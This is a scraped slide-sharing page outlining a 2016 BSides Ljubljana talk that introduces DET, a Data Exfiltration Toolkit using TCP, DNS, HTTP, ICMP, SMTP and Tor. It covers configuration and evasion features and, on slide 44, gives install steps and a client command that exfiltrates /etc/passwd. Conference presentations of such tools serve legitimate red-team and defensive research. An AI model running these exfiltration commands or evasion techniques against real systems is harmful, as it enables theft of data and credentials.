Introducing (DET) the Data Exfiltration Toolkit
1 like3,453 views
The document presents the Data Exfiltration Toolkit (DET) introduced by Paul Amar at BSides Ljubljana, highlighting its capabilities to exfiltrate data using various protocols like TCP, DNS, and SMTP. It details the toolkit's configuration in JSON format, client-server interaction phases, and the potential for additional plugins, including Tor integration. The presentation also outlines plans for future enhancements such as a complete port to PowerShell and data obfuscation techniques.
Introducing (DET) the Data Exfiltration Toolkit
- 1. Introducing DET (Data Exfiltration Toolkit) Paul Amar - BSides Ljubjana - 09/03/2016
- 3. 100
- 13. What’s available today? And many more.. created almost everyday. Not kidding.
- 14. Current state TCP DNS HTTP ICMP Twitter DMs SMTP (eg. Gmail)
- 15. Introducing DET
- 16. Configuration file (JSON format)
- 18. Folder to exfiltrate / multi-threaded
- 19. Plugin(s) to use
- 21. Server mode
- 22. Configuration file List all your plugins and their configuration
- 23. Configuration file Each plugin has its own configuration (username, pwd, …)
- 24. Configuration file Additional configuration (XOR Key, Sleeping time, …)
- 25. Let’s dig a bit (Client-side)
- 28. Sending the data 1/2
- 29. Sending the data 2/2
- 30. “End” phase 1/2
- 31. “End” phase 2/2
- 32. So in few words..
- 36. But wait! There’s moar.
- 37. Additional plugins (Tor Integration) 1/2 Source: http://foxglovesecurity.com/2015/11/02/hack-like-the-bad-guys-using-tor-for- firewall-evasion-and-anonymous-remote-access/
- 38. Additional plugins (Tor Integration) 2/2
- 41. What’s next - Port DET *entirely* to PowerShell (With Plugin based) (“Empire”-like) - More plugins! - Data obfuscation layer using Markov Chains - https://github.com/bwall/markovobfuscate
- 44. Installation Get/install it: - git clone https://github.com/sensepost/DET - pip install -r requirements --user (instal dependencies for the local user) Client side: - python det.py -f /etc/passwd -c ./config.json (or PS scripts) Server side: - python det.py -L -c ./config.json
- 45. sys.exit(0) Paul Amar (paul@sensepost.com) / @PaulWebSec